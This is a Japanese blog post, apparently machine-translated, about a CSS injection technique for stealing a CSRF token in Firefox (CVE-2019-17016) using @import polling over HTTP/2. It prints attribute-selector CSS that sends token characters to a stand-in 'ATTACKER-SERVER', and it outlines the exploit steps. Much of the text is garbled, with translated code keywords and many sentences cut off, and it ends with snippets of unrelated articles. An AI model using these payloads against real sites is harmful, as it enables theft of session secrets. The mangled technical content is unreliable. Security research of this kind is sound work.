0x00 はじめに 数か月前、Firefox に脆弱性 (CVE-2019-17016) があることを発見しました。調査中に、Firefox の CSS を使用して単一のインジェクション ポイントからデータを盗むことができるデータ窃盗手法を発見しました。調査結果を皆さんと共有したいと思います。 0x01 背景 デモンストレーションの目的で、 <input type="hidden" name="csrftoken" value="SOME_VALUE"> スクリプトを使用できないため (おそらく CSP が原因)、スタイルベースのインジェクションを探しています。従来のアプローチでは、次のように属性セレクタを使用します。 入力[名前='csrftoken'][値^='a'] { 背景: url(//ATTACKER-SERVER/leak/a); } 入力[名前='csrftoken'][値^='b'] { 背景: url(//ATTACKER-SERVER/leak/b); } ... 入力[名前='csrftoken'][値^='z'] { 背景: url(//ATTACKER-SERVER/leak/z); } CSS ルールが適用されると、攻撃者は HTTP リクエストを受信してトークンの最初の文字を取得できます。次に、攻撃者は、以下に示すように、盗んだ最初の文字を含む別のスタイルシートを準備する必要があります。 入力[名前='csrftoken'][値^='aa'] { 背景: url(//ATTACKER-SERVER/leak/aa); } 入力[名前='csrftoken'][値^='ab'] { 背景: url(//ATTACKER-SERVER/leak/ab); } ... 入力[名前='csrftoken'][値^='az'] { 背景: url(//ATTACKER-SERVER/leak/az); } 通常、攻撃者は、後続のスタイルシートを提供するために、 2018 年、Pepe Vila 氏は、Chrome の CSS 再帰インポートを悪用して、単一の注入ポイントで同じタスクを達成するという非常に優れたアイデアを思いつきました。 2019 年、Nathanial Lattimer (@d0nutptr) が、少し工夫を加えて同じ手法を再提案しました。以下では、この記事のアイディアに近い Lattimer の方法を簡単にまとめます (ただし、この調査中に Lattimer の以前の研究を知らなかったため、車輪の再発明だと思われる方もいるかもしれません)。 つまり、最初の注入では一連の @import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ... 中心となる考え方は次のとおりです。 1. 最初は、最初の 2. 最初の 3. 漏洩した最初のトークンが 4. 2 番目に漏洩した文字が この手法が機能するのは、Chrome が 0x02 Firefoxとスタイルシートの処理 上記の方法は、スタイルシートを Chrome とはまったく異なる方法で処理する Firefox では機能しません。ここでは、いくつかの事例を使ってその違いを説明します。 まず、Firefox はスタイルシートを同期的に処理します。したがって、スタイルシートに複数の <スタイル> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </スタイル> 最初の これを修正するには、すべての <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> 上記のコードでは、Firefox はすべてのスタイルシートを個別に処理するため、ページはすぐに青色に変わり、その他の しかし、ここで別の問題が発生します。10 文字を含むトークンを盗むとします。 <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style> Firefox はすぐに 10 件の 0x03 HTTP/2 6 つの接続の制限は TCP 層によって決定されるため、単一のサーバーに対して同時に存在できる TCP 接続は 6 つだけです。この場合、HTTP/2 が役に立つと思います。 HTTP/2 には多くの利点があります。たとえば、単一の接続を介して複数の HTTP リクエストを送信できるため (多重化とも呼ばれます)、パフォーマンスが大幅に向上します。 Firefox では、単一の HTTP/2 接続に対する同時リクエストの数も制限されていますが、デフォルトではその制限は 0x04 搾取 これで準備はすべて整いました。主なエクスプロイトのシナリオは次のとおりです。 1. エクスプロイトコードは HTTP/2 に基づいています。 2. 3. 4. Firefox に同じサーバーへの 2 つの TCP 接続を強制的に開始させるために、ここでは 5. エンドポイント この方法で さらに、PoC コードも GitHub でホストしており、攻撃プロセスはここにあるビデオで確認できます。 興味深いことに、HTTP/2 を使用しているため、攻撃は非常に高速で、トークン全体を 3 秒以内に取得できます。 0x05 概要 この記事では、ページをリロードせずに CSS 経由でデータを盗むためにインジェクション ポイントを悪用する方法を説明しました。ここで重要な点は 2 つあります。 1. 2. TCP 同時接続制限を回避するには、HTTP/2 を介して攻撃を開始する必要があります。 以上が、Firefox ブラウザで CSS を使用してデータを盗む方法についてご紹介しました。お役に立てれば幸いです。123WORDPRESS.COM ウェブサイトをご愛顧いただき、誠にありがとうございます。 |
<<: DockerはClickHouseをインストールし、データテストを初期化します
>>: 入力テキスト ボックスと画像検証コードの位置合わせの問題 (画像は常に入力より 1 つ上になります)
以下のように表示されます。 XML/HTML コードコンテンツをクリップボードにコピー<!DO...
1 インストールリソースパッケージmysql-8.0.18-1.el7.x86_64.rpm-bun...
目次1. オフラインインストール2. オンラインインストール3. アンインストール4. ymlファイ...
console.log( [] == ![] ) // 真 console.log( {} == ...
目次序文Vue 更新ビューパッチ同じVノードパッチVノード更新子供序文Vue は仮想 DOM を使用...
1. mysql をインストールします。次のコマンドを実行して、YUM ソースを更新します。 rpm...
CentOS7では、MySQLをインストールすると、MariaDBもデフォルトでインストールされます...
Node.js環境でテストが通っています。他の言語でも同様です。環境変数を取得する方法を使うだけです...
目次序文矢印関数一般的な配列操作をマスターするスプレッド演算子オブジェクトの省略形構造化割り当てデー...
まず、変更イベントは 1 つだけです。 changelevel() //値を選択選択を変更して行の値...
序文Vue Router は、Vue.js の公式ルーティング マネージャーです。 Vue.js の...
Dockerデーモンのアクセラレータを構成する設定ファイルから Docker を起動し、/etc/d...
ミニプログラムはユーザーの個人情報を収集してアップロードしましたが、拒否されました。こんにちは、ミニ...
今日この問題に遭遇しました。サーバー側でiframeのsrc値を再割り当てし、iframeにIDを追...
長い間 MySQL を使ってきたので、SQL 文はすでに覚えていると思います。そこで、その実行原理を...